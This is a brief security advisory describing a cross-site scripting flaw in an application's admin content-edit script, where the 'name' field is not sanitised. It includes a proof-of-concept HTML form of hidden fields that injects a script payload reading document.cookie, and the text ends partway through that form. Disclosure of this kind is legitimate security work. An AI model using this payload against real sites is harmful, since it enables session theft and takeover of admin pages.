Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/content/edit/PAGEID/do/" script to properly sanitize user-supplied input in "name" variable.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://[host]/admin/content/edit/PAGEID/do/" method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="referer" value="google">
<input type="hidden" name="domain" value="[host]">
<input type="hidden" name="name" value='price3"><script>alert(document.cookie)</script>'>
<input type="hidden" name="alt-name" value="price">
<input type="hidden" name="active" value="0">
<input type="hidden" name="active" value="1">
<input type="hidden" name="type-id" value="10">
<input type="hidden" name="save-mode" value="Save">
